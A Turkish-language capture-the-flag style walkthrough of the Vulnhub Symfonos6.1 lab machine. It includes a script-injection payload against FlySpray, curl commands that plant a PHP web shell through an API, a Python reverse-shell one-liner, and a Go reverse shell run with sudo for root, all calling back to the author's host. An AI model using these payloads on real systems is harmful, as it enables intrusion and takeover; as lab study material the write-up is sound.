Vulnhub-Symfonos6.1 Makinesi Walkthrough

Vulnhub-Symfonos6.1 Makinesi Walkthrough

 Merhabalar arkadaşlar bu yazımda Vulnhub platformu üzerinde bulunan orta-zor düzey olarak belirlenmiş olan Symfonos6 adlı makinenin çözümünü anlatmaya çalışacağım. Symfonos6, FlySpray adındaki bir serviste bulunan CSRF zafiyetinden faydalanarak kullanıcı parolasını elde ederek,  bu kullanıcı ve parola ile geçerli bir token’a sahip olacak ve API ile shell enjekte ederek reverse shell alınması şeklinde bir initial’ı mevcut olan ve sudo izinleriyle çalıştırılabilen go ile root kullanıcısının elde edilmesi şeklinde bir hikayeye sahip. Symfonos6 makinesine kaynakta belirtilen Vulnhub linkinden ulabilirsiniz.

ENUMERATION

Her zaman olduğu gibi ilk olarak makineyi nmap ile tarıyoruz.

Çıktıdan görüldüğü üzere makine üzerinde 22, 80, 3000, 3306 ve 5000 portları açık. 80 portu üzerinde boş bir PHP bloğu çalışmakta. 3000 portu üzerinde ise Gitea adında bir Git servisi çalışmakta. Daha fazla bilgi için dizin taraması gerçekleştiriyoruz.

/flyspray dizinini ziyaret ettiğimiz de FlySpray bug takip servisi çalışmakta. Kaynak kodları incelerken karşımıza “symfonos.local” host ismi çıkıyor. ‘ echo –n “192.168.1.43 symfonos.local” >> /etc/hosts’ komutu ile host olarak ekliyoruz. Ardından Flyspray’e ait bir zafiyetin varlığını kontrol ettiğimizde bir CSRF zafiyeti karşımıza çıkıyor.

Zafiyetin sömürülmesi için FlySpray üzerinde Register kısmında kayıt olurken  “Real Name” alanında bulunan zafiyeti bir ‘ “><script SRC=http://192.168.1.40/ht.js></script> ‘ payload’ı ile sömürerek hazırlanmış olan javascript betiği çalıştıracağız ve böylelikle yetkili bir kullanıcı oluşturmuş olacağız. Bunun için aşağıdaki görseldeki gibi örnek bir kullanıcı oluşturuyoruz.

Ardından oluşturduğumuz kullanıcı ile giriş yaparak “Tasklist” kısmında bulunan bug girdisinin “Summary” sütunu altındaki “Bug Report” a tıklayarak verilmiş alana yorum ekleyeceğiz ve admin kullanıcısının sayfayı otomatik ziyaret etmesiyle hazırladığımız betik enjekte olmuş olacak.

Yorum attıktan sonra enjekte işleminin olması için http server başlatıyoruz. Ve hedeften gelen istek ikinci satırda 200 koduyla görülmekte ki başarıyla enjekte edildi.

Çalıştırılacak olan betik yukarıdaki gibidir.
hacker:12345678 şeklinde bir kullanıcı oluşturulacak.
Not: Burada internet bağlantısının sıfırlanması nedeniyle hedef makine ipsi “192.168.1.43” iken “192.168.1.40” oldu.

Ardından hacker:12345678 bilgileri ile giriş yapıyoruz ve tasklist içerisinde “self hosted git service” için açılan girdiye tıklıyoruz ve achilles kullanıcısına ait parolayı böylelikle elde etmiş olduk.

Elde ettiğimiz bilgiler ile http://symfonos.local:3000/ adresine giderek Gitea self hosted git servisine achilles kullanıcısı ile giriş yapıyoruz. Karşımıza iki adet repository çıkmakta.

Burada api kaynak kodlarını inceliyoruz ve ilk olarak api için belirlenmiş olan dizi “ /ls2o4g “ ve token için izleyeceğimiz dizinin “ /ls2o4g/v1.0/auth/login “ olduğunu keşfediyoruz.

Token elde etmemiz için gerçekleştireceğimiz istek için  login fonksiyonuna bakarak parametreler ile ilgili bilgiyi ediniyoruz.

Ardından post işlemi için kullanacağımız “ /ls2o4g/v1.0/posts “ dizininin bilgisini ve json girdisinin nasıl olacağına dair bilgi elde ediyoruz.


SHELL AND USER

Elde ettiğimiz bilgileri kullanarak ilk olarak geçerli bir token elde ediyoruz. Bunun için

curl -X POST -H "Content-Type: application/json" –d '{"username":"achilles","password":"h2sBr9gryBunKdF9"}' "http://symfonos.local:5000/ls2o4g/v1.0/auth/login"

komutunu çalıştırıyoruz.

Ardından

curl -L -X POST -H 'Content-Type: application/json' -H "Authorization: Bearer ${TOKEN}" -d '{"text":"system($_GET['tt']);"}' "http://symfonos.local:5000/ls2o4g/v1.0/posts"

komutunu çalıştırarak zafiyetli bir php betiği enjekte etmiş olduk.

Bu işlemler aşağıdaki gibi bir script ile daha kolay ve hızlı bir şekilde yapılabilir.

http://symfonos.local/posts/ sayfasını ziyaret ediyoruz ve enjekte ettiğimiz betiğin çalıştığını görüyoruz.

Reverse Shell için

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.44",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

komutunu çalıştırıyoruz ve shell alıyoruz.

Shell aldıktan sonra achilles kullanıcısına ait elde ettiğimiz parola ile achilles kullanıcısına geçiş yapıyoruz.

ROOT

Sudo-l  komutu ile sudo izinlerini görüntülüyoruz ve görüyoruz ki go sudo olarak çalıştırılabilir yani yetki yükseltme yapabiliriz.

Yetki yükseltme için öncellikle /tmp dizinine giderek

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.44:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' >  privesc.go

komutunu çalıştırarak privesc.go adında bir go betiği oluşturuyoruz.

Ardından kendi makinemiz üzerinde netcat ile 4242 portunu dinlemeye alıyoruz ve hedef makine üzerinde “ sudo /usr/local/go/bin/go run privesc.go “  komutunu çalıştırıyoruz. Vee viola! Root kullanıcısı olarak shell almış olduk.

Kaynak :
https://www.vulnhub.com/entry/symfonos-61,458/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#golang
https://www.exploit-db.com/exploits/41918

Related Posts

Facebook Comments